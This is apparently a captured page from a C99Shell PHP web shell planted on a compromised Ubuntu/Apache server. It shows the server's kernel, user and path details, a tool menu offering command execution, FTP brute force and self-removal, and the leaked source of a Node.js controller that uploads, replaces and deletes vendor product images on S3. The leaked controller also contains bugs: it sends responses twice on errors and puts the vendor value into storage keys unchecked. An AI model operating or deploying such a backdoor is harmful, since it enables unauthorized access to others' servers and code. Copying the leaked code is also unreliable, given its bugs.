!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/aws_s3/src/controllers/   drwxr-xr-x
Free 13.22 GB of 57.97 GB (22.81%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     productController.js (7.95 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import { uploadToS3, deleteFromS3 } from "../models/imageModel.js";
import sharp from "sharp";
import ShortUniqueId from "short-unique-id";
import path from "path";

const uid = new ShortUniqueId({ length: 10 });

export const uploadImages = async (req, res) => {
    if (!req.body.vendor) {
        res.locals.data={"error":"true","message":"No Vendor selected"};
        return res.status(400).json({ error: true, message: "Missing required fields" });
    }

    try {
        // const fileLocations = await processAndUploadImages(req.files, req.body.vendor);
        var files=req.files;
        const fileLocations = [];
        for (const file of files) {
            const fileName = `${req.body.vendor}/${uid()}.webp`;
            const resizedImage = await sharp(file.buffer).webp({ quality: 75 }).toBuffer();
            const uploadResult = await uploadToS3(resizedImage, fileName);
            if (!uploadResult.success) {
              res.locals.data={"error":"true","message":"product image upload failed"};
              res.status(500).json({"error":"true", "message":"Something is wrong, Please try again"});
            }
            var file_name = path.basename(fileName);
            fileLocations.push(file_name);
        }
        res.locals.data={"message":"product image uploaded successfully"};
        res.status(200).json({ data: fileLocations });
    } catch (error) {
        res.locals.data={"error":"true","message":error.message};
        res.status(500).json({"error":"true", "message":"Something is wrong, Please try again"});
    }
};

export const deleteImages = async (req, res) => {
    if (!req.body.images || !req.body.vendor) {
        res.locals.data={"error":"true","message":"Missing images name or vendor"};
        return res.status(400).json({ error: true, message: "Missing required fields" });
    }
    try {
        const images = req.body.images.split(",");
        for (const image of images) {
            await deleteFromS3(`${req.body.vendor}/${image}`);
        }
        res.locals.data={"message":"product image deleted successfully"};
        res.status(200).json({ message: "Deleted successfully" });
    } catch (error) {
        res.locals.data={"error":"true","message":error.message};
        res.status(500).json({"error":"true", "message":"Something is wrong, Please try again"});
    }
};

export const changeImages = async (req, res) => {
    console.log(req.files.length);

    if (!req.body.files_name || !req.body.vendor) {
        res.locals.data={"error":"true","message":"Missing file name or vendor"};
        return res.status(400).json({ error: true, message: "Missing required fields" });
    }
    try {
        // await replaceImages(req.files, req.body.vendor, req.body.files_name.split(","));
        var fileNames=req.body.files_name.split(",");
        let no_of_files=req.files.length;
        var folder=req.body.vendor;
        var files=req.files;
        var file_location=[];
        if (no_of_files===fileNames.length) { 
            for (let i = 0; i < req.files.length; i++) {
                const fileName = `${folder}/${fileNames[i]}`;
                const resizedImage = await sharp(files[i].buffer).webp({ quality: 75 }).toBuffer();
                const uploadResult = await uploadToS3(resizedImage, fileName);

                if (!uploadResult.success) {
                    res.locals.data={"error":"true","message":"product image upload failed"};
                    res.status(500).json({"error":"true", "message":"Something is wrong, Please try again"});
                }
            }
            res.locals.data={"message":"product image Changed successfully"};
            res.status(200).json({"message":"Change Succesfully"}); 
        }else if (no_of_files<fileNames.length) {
            for (let i = 0; i < req.files.length; i++) {
                const fileName = `${folder}/${fileNames[i]}`;
                const resizedImage = await sharp(files[i].buffer).webp({ quality: 75 }).toBuffer();
                const uploadResult = await uploadToS3(resizedImage, fileName);
                if (!uploadResult.success) {
                    res.locals.data={"error":"true","message":"product image upload failed"};
                    res.status(500).json({"error":"true", "message":"Something is wrong, Please try again"});
                }
            }
            for (let j = no_of_files; j < fileNames.length; j++) {
                await deleteFromS3(`${folder}/${fileNames[j]}`);
                file_location.push(fileNames[j]);
            }
            res.locals.data={"message":"product image Changed successfully"};
            res.status(200).json({"data":file_location});
        }else if (no_of_files>fileNames.length) {
            for (let i = 0; i < fileNames.length; i++) {
                const fileName = `${folder}/${fileNames[i]}`;
                const resizedImage = await sharp(files[i].buffer).webp({ quality: 75 }).toBuffer();
                const uploadResult = await uploadToS3(resizedImage, fileName);

                if (!uploadResult.success) {
                    res.locals.data={"error":"true","message":"product image upload failed"};
                    res.status(500).json({"error":"true", "message":"Something is wrong, Please try again"});
                }
            }
            for (let j = fileNames.length; j < no_of_files; j++) {
                const fileName = `${req.body.vendor}/${uid()}.webp`;
                const resizedImage = await sharp(files[j].buffer).webp({ quality: 75 }).toBuffer();
                const uploadResult = await uploadToS3(resizedImage, fileName);

                if (!uploadResult.success) {
                    res.locals.data={"error":"true","message":"product image upload failed"};
                    res.status(500).json({"error":"true", "message":"Something is wrong, Please try again"});
                }
                var file_name = path.basename(fileName);
                file_location.push(file_name);
            }
            res.locals.data={"message":"product image Changed successfully"};
            res.status(200).json({"data":file_location});
        }
    } catch (error) {
        res.locals.data={"error":"true","message":error.message};
        res.status(500).json({"error":"true", "message":"Something is wrong, Please try again"});
    }
};

export const updateImages = async (req, res) => {
    console.log(req.files.length);
    
    if (!req.body.vendor || !req.body.files_name) {
        res.locals.data={"error":"true","message":"file name or vendor is missing"};
        return res.status(400).json({ error: true, message: "Missing required fields" });
    }

    try {
        var fileNames=req.body.files_name.split(",");
        if (fileNames.length!==req.files.length) {
            res.locals.data={"error":"true","message":"No of files and file name are not equal"};
            res.status(400).json(res.locals.data);
          }else{
            var folder=req.body.vendor;
            var files=req.files;
            for (let i = 0; i < req.files.length; i++) {
                const fileName = `${folder}/${fileNames[i]}`;
                const resizedImage = await sharp(files[i].buffer).webp({ quality: 75 }).toBuffer();
                const uploadResult = await uploadToS3(resizedImage, fileName);

                if (!uploadResult.success) {
                    res.locals.data={"error":"true","message":"product image upload failed"};
                    res.status(500).json({"error":"true", "message":"Something is wrong, Please try again"});
                }
            }
          }
        res.locals.data={"message":"product image Changed successfully"};
        res.status(200).send({"message":"Change Succesfully"}); 
    } catch (error) {
        res.locals.data={"error":"true","message":error.message};
        res.status(500).json({"error":"true", "message":"Something is wrong, Please try again"});
    }
};

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0078 ]--